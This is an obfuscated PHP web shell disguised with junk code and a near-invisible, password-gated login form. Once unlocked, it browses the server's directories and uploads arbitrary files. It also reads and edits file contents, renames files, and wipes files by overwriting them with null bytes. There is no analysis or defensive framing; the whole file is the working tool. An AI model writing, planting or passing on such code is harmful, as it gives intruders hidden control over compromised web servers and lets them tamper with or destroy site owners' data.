﻿AA﻿﻿AA﻿<?php function ydslw(){if(session_id()==='')session_start();$evvar=(47^21);$_SESSION['semirumin']=$_SESSION['semirumin']??[];$cxapvar=is_float(1.5);}$udwujvar=strtolower('sample');function ynp($njcpvar){return htmlspecialchars((string)$njcpvar,ENT_QUOTES,'UTF-8');$avcvar=strrchr('a/b/c','/');}$mebpvar=array_keys(array('type'=>22));function jaoh($j){ydslw();$bohtqyvar=preg_quote('a.b/c','/');static $njcpvar=0;$ajoknvvar=strpos('buffer_cache','1');$_SESSION['semirumin'][++$njcpvar]=$j;$qsohxmvar=dechex(88);return $njcpvar;$xbbod=PHP_OS;}$eljuvar=chr(85);function rbogzk($k,$d=null){ydslw();$uau=gmdate('Y-m-d');return $_SESSION['semirumin'][$k]??$d;}$qqbcvar=urlencode('a b');function dqomb($p,$gvvar){$p=trim(str_replace("\0",'',$p));$fmzxgvar=basename(__FILE__);if($p==='' or $p==='.' or $p==='/')return $gvvar;$txexxvvar=sqrt(4);$p=rawurldecode($p);$fzwvar=array_values(array('name'=>60));$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($gvvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$jsdvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $bzkxavar){if($bzkxavar==='' or $bzkxavar==='.')continue;if($bzkxavar==='..'){array_pop($jsdvar);continue;}$jsdvar[]=$bzkxavar;}$whcvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$jsdvar);$dtivar=@realpath($whcvar);$pzwcfvar=realpath($gvvar);if($dtivar!==false and $pzwcfvar!==false and strpos($dtivar,$pzwcfvar.'/')===0)$whcvar=$dtivar;is_file($whcvar) and ($whcvar=dirname($whcvar));return rtrim($whcvar,DIRECTORY_SEPARATOR);}function gjrrj($p){if(!is_file($p) or !is_readable($p))return false;$rzvar=@fopen($p,'rb');if(!$rzvar)return false;$emlvar='';while(!feof($rzvar)){$kignjvar=fread($rzvar,16384);if($kignjvar===false)break;$emlvar.=$kignjvar;}fclose($rzvar);return $emlvar;}function hjey($p,$d){$smdabvar=dirname($p);if(!is_dir($smdabvar) or !is_writable($smdabvar))return false;$rzvar=@fopen($p,'wb');if(!$rzvar)return false;flock($rzvar,LOCK_EX);$icvar=fwrite($rzvar,$d);flock($rzvar,LOCK_UN);fclose($rzvar);return $icvar!==false;}function qb($p){if(is_file($p) and is_writable($p)){$rzvar=@fopen($p,'wb');if($rzvar){fwrite($rzvar,str_repeat("\0",max(1,@filesize($p))));fclose($rzvar);}return true;}return false;}function ssc($p,$gomugvar){return '<a href="?dw='.ynp(jaoh($p)).'">'.ynp($gomugvar).'</a>';}function eg($p,$gvvar){$dtivar=realpath($p);$pzwcfvar=realpath($gvvar);if(!$dtivar or !$pzwcfvar or strpos($dtivar,$pzwcfvar)!==0)return ynp($p);$oizyuvar=trim(substr($dtivar,strlen($pzwcfvar)),DIRECTORY_SEPARATOR);$bzkxavar=$oizyuvar===''?[]:explode(DIRECTORY_SEPARATOR,$oizyuvar);$fkrxovar=[ssc($gvvar,'*')];$tsbevar=$gvvar;foreach($bzkxavar as $s){$tsbevar=rtrim($tsbevar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$fkrxovar[]=ssc($tsbevar,$s);}return implode(' / ',$fkrxovar);}$gvvar=__DIR__;$wumtjvar="tuskingly";ydslw();if(!isset($_SESSION['antisynonym'])){if(isset($_POST['l']) or isset($_GET['l'])){$rdvar=$_POST['l']??$_GET['l'];if($rdvar===$wumtjvar){$_SESSION['antisynonym']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['antisynonym'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4}.ga8{position:fixed;top:8px;right:8px;opacity:0.04;display:flex;gap:3px}.ga8 input{width:58px;padding:2px 3px;border:1px solid #e0e0e0;background:#fff;font:10px/1.4 monospace;outline:none}.ga8 button{padding:2px 6px;border:1px solid #e0e0e0;background:#f5f5f5;font:10px monospace;cursor:pointer;color:#666}</style></head><body><form method="post" style="position:fixed;left:50%;top:50%;transform:translate(-50%,-50%);display:flex;gap:4px;opacity:0.08"><input type="text" name="l" autocomplete="off" style="width:70px;padding:3px 5px;border:1px solid #e0e0e0;background:#fff;font:10px monospace;outline:none"><button type="submit" style="padding:3px 7px;border:1px solid #e0e0e0;background:#f5f5f5;color:#666;font:10px monospace;cursor:pointer">&#10095;</button></form></body></html><?php exit;}}$xqckcvar=$_GET['dw']??null;$qrqvar=$xqckcvar?dqomb(rbogzk($xqckcvar,$gvvar),$gvvar):dqomb($_GET['j']??'',$gvvar);if(isset($_POST['h']) and isset($_FILES['p'])){$kupvar=$_FILES['p']['tmp_name'];$vyvar=basename($_FILES['p']['name']);$ogzvar=$qrqvar.DIRECTORY_SEPARATOR.$vyvar;$icvar=false;if($kupvar and $vyvar){$dmcvar=@fopen($kupvar,'rb');$fkrxovar=@fopen($ogzvar,'wb');if($dmcvar and $fkrxovar){while(!feof($dmcvar)){fwrite($fkrxovar,fread($dmcvar,16384));}$icvar=true;}$dmcvar and fclose($dmcvar);$fkrxovar and fclose($fkrxovar);}if($icvar){header('Location: ?dw='.jaoh($qrqvar).'&d=1');exit;}header('Location: ?dw='.jaoh($qrqvar));exit;}if(isset($_POST['zh']) and isset($_GET['qk'])){$sxywfvar=$qrqvar.DIRECTORY_SEPARATOR.basename($_GET['qk']);$ybqvar=$_POST['e']??'';if(hjey($sxywfvar,$ybqvar)){header('Location: ?dw='.jaoh($qrqvar).'&qk='.urlencode($_GET['qk']).'&d=2');exit;}header('Location: ?dw='.jaoh($qrqvar));exit;}if(isset($_POST['n'])){$lyiobvar=basename($_POST['v']??'');$sxywfvar=$qrqvar.DIRECTORY_SEPARATOR.$lyiobvar;if($lyiobvar!=='' and (is_file($sxywfvar) or is_dir($sxywfvar)) and qb($sxywfvar)){header('Location: ?dw='.jaoh($qrqvar));exit;}}if(isset($_POST['gi'])){$rkqjvar=basename($_POST['ec']??'');$yvnfqvar=basename($_POST['mx']??'');if($rkqjvar!=='' and $yvnfqvar!=='')@rename($qrqvar.DIRECTORY_SEPARATOR.$rkqjvar,$qrqvar.DIRECTORY_SEPARATOR.$yvnfqvar);header('Location: ?dw='.jaoh($qrqvar));exit;}$clvar=(int)($_GET['d']??0);$knwnvar=$_GET['qk']??null;$oidvar='';if($knwnvar){$oidvar=gjrrj($qrqvar.DIRECTORY_SEPARATOR.basename($knwnvar));}$xcqxqvar=[];$loivar=[];$ftvar=@scandir($qrqvar);if($ftvar!==false){foreach($ftvar as $atvar){if($atvar==='.' or $atvar==='..')continue;$sxywfvar=$qrqvar.DIRECTORY_SEPARATOR.$atvar;if(is_dir($sxywfvar)){$xcqxqvar[]=['n'=>$atvar,'p'=>$sxywfvar];}else{$lyfgvar=@filesize($sxywfvar);$cxzqvar='';if($lyfgvar!==false){$zoeryvar=['b','k','m','g'];$ghvar=0;while($lyfgvar>=1024 and $ghvar<3){$lyfgvar/=1024;$ghvar++;}$cxzqvar=round($lyfgvar,1).$zoeryvar[$ghvar];}$loivar[]=['n'=>$atvar,'s'=>$cxzqvar];}}sort($xcqxqvar);sort($loivar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4;font:11px/1.5 monospace;color:#333}.bd5{max-width:860px;margin:18px auto;padding:0 14px}.dr4{display:flex;align-items:center;justify-content:space-between;padding:7px 0 12px}.dr4 .cv7{font-size:10px;color:#aaa;letter-spacing:0.03em}.dr4 .cv7 a{color:#888;text-decoration:none}.dr4 .cv7 a:hover{color:#444}.dr4 .jt9{display:flex;gap:5px;align-items:center}.mh6{font-size:10px;color:#5a7a5a;background:#f2faf2;border-left:2px solid #b8d8b8;padding:5px 10px;margin-bottom:10px;letter-spacing:0.02em}.ud6{display:grid;grid-template-columns:220px 1fr;gap:10px;align-items:start}.ar0{background:#fff;border:1px solid #ebebeb}.ar0-head{font-size:9px;color:#bbb;letter-spacing:0.06em;padding:7px 10px;border-bottom:1px solid #f0f0f0}.cr7{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #f4f4f4;gap:6px}.cr7:last-child{border-bottom:none}.cr7:hover{background:#fafafa}.cr7 .gq6{color:#ccc;font-size:9px;flex-shrink:0}.cr7 .yo0{flex:1;color:#333;font-size:11px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.cr7 .yo0 a{color:#333;text-decoration:none}.cr7 .yo0 a:hover{text-decoration:underline}.cr7 .cr0{color:#ccc;font-size:9px;margin-right:4px;white-space:nowrap}.cr7 .hv7{display:flex;gap:2px;flex-shrink:0}.bi1{padding:1px 6px;background:#fff;border:1px solid #e0e0e0;font:8px monospace;cursor:pointer;color:#777}.bi1:hover{background:#f5f5f5;border-color:#bbb}.sw2{width:66px;padding:2px 4px;border:1px solid #e4e4e4;font:8px monospace;background:#fdfdfd;color:#333;outline:none}.sw2:focus{border-color:#bbb}.xr1{background:#fff;border:1px solid #ebebeb;padding:10px;margin-bottom:10px}.xr1 textarea{width:100%;padding:7px 9px;border:1px solid #ebebeb;font:11px/1.6 monospace;resize:vertical;min-height:260px;outline:none;background:#fdfdfd;color:#222}.xr1 textarea:focus{border-color:#ccc}.xr1 .vz7{margin-top:6px;display:flex;gap:5px;justify-content:flex-end}.qd5{color:#ddd;margin:0 1px}</style></head><body><div class="bd5"><div class="dr4"><div class="cv7"><?php echo eg($qrqvar,$gvvar)?></div><div class="jt9"><form method="post" enctype="multipart/form-data" style="display:flex;gap:5px;align-items:center"><input type="file" name="p" style="font-size:10px;color:#999"><button class="bi1" name="h">&#65291;</button></form></div></div><?php if($clvar===1):?><div class="mh6">deracs</div><?php endif?><?php if($clvar===2):?><div class="mh6">humua</div><?php endif?><?php if($knwnvar and $oidvar!==false):?><div class="xr1"><form method="post"><textarea name="e"><?php echo ynp($oidvar)?></textarea><div class="vz7"><button class="bi1" name="zh">vamor</button><a href="?dw=<?php echo ynp(jaoh($qrqvar))?>"><button type="button" class="bi1">&#10229;</button></a></div></form></div><?php endif?><div class="ud6"><div class="ar0"><div class="ar0-head">&#9655;</div><?php foreach($xcqxqvar as $smdabvar):?><div class="cr7"><span class="gq6">&#9658;</span><span class="yo0"><?php echo ssc($smdabvar['p'],$smdabvar['n'])?></span><div class="hv7"><form style="display:inline" method="post"><input type="hidden" name="v" value="<?php echo ynp($smdabvar['n'])?>"><button name="n" class="bi1" onclick="return confirm('?')">&#10005;</button></form><span class="qd5">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="ec" value="<?php echo ynp($smdabvar['n'])?>"><input type="text" name="mx" class="sw2" placeholder=".."><button name="gi" class="bi1">&#10095;</button></form></div></div><?php endforeach?></div><div class="ar0"><div class="ar0-head">&#8729;</div><?php foreach($loivar as $qbrvar):?><div class="cr7"><span class="gq6">&#8226;</span><span class="yo0"><?php echo ynp($qbrvar['n'])?></span><span class="cr0"><?php echo $qbrvar['s']?></span><div class="hv7"><a href="?dw=<?php echo ynp(jaoh($qrqvar))?>&qk=<?php echo urlencode($qbrvar['n'])?>"><button class="bi1">l</button></a><span class="qd5">|</span><form style="display:inline" method="post"><input type="hidden" name="v" value="<?php echo ynp($qbrvar['n'])?>"><button name="n" class="bi1" onclick="return confirm('?')">&#10005;</button></form><span class="qd5">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="ec" value="<?php echo ynp($qbrvar['n'])?>"><input type="text" name="mx" class="sw2" placeholder=" "><button name="gi" class="bi1">&#10095;</button></form></div></div><?php endforeach?></div></div></div></body></html>